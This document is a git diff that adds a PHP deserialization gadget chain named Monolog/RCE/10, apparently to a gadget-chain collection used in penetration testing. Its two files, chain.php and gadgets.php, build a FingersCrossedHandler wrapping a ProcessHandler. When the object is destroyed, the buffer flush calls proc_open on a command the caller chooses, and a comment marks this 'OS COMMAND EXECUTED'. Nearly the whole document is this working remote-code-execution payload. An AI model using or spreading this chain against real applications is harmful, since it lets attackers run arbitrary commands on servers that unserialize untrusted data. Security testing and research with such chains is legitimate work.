diff --git a/gadgetchains/Monolog/RCE/10/chain.php b/gadgetchains/Monolog/RCE/10/chain.php new file mode 100644 index 00000000..a4cea56f --- /dev/null +++ b/gadgetchains/Monolog/RCE/10/chain.php @@ -0,0 +1,41 @@ += 500 → record passes + getHandler() → ProcessHandler (already HandlerInterface) returned directly + ProcessHandler::handleBatch([$record]) + → AbstractProcessingHandler::handle($record) + isHandling(): 500 >= 100 → true + getFormatter() → null → new LineFormatter() + LineFormatter::format($record) ← DateTimeImmutable in record["datetime"] + ProcessHandler::write($record) + ensureProcessIsStarted() + is_resource(null) = false → startProcess() + proc_open($command, ...) ← OS COMMAND EXECUTED + '; + + public function generate(array $parameters) + { + $command = $parameters['command']; + + return new + \Monolog\Handler\FingersCrossedHandler( + new + \Monolog\Handler\ProcessHandler($command) + ); + } +} diff --git a/gadgetchains/Monolog/RCE/10/gadgets.php b/gadgetchains/Monolog/RCE/10/gadgets.php new file mode 100644 index 00000000..57640793 --- /dev/null +++ b/gadgetchains/Monolog/RCE/10/gadgets.php @@ -0,0 +1,82 @@ +datetime = new \DateTimeImmutable("2024-01-01 00:00:00"); + $this->channel = "app"; + $this->level = Level::Critical; + $this->message = "x"; + $this->context = []; + $this->extra = []; + $this->formatted = null; + } + } +} + +namespace Monolog\Handler +{ + // killchain : + // __destruct() => close() => flushBuffer() => handleBatch($records) + use Monolog\Level; +abstract class AbstractHandler { + protected $level; + protected $bubble = true; + + public function __construct() { + $this->level = Level::Debug; + } + } + + class FingersCrossedHandler extends AbstractHandler { + protected $passthruLevel; + protected $buffer = []; + protected $handler; + + public function __construct($handler) { + parent::__construct(); + $this->handler = $handler; + $this->passthruLevel = Level::Debug; + + // Populate the buffer with the new LogRecord object + $this->buffer = [ + new \Monolog\LogRecord() + ]; + } + } + + class ProcessHandler extends AbstractHandler { + private $command; + private $process = null; + private $pipes = []; + private $cwd = null; + protected $formatter = null; + protected $processors = []; + + function __construct($command) { + parent::__construct(); + $this->command = $command; + } + } + +}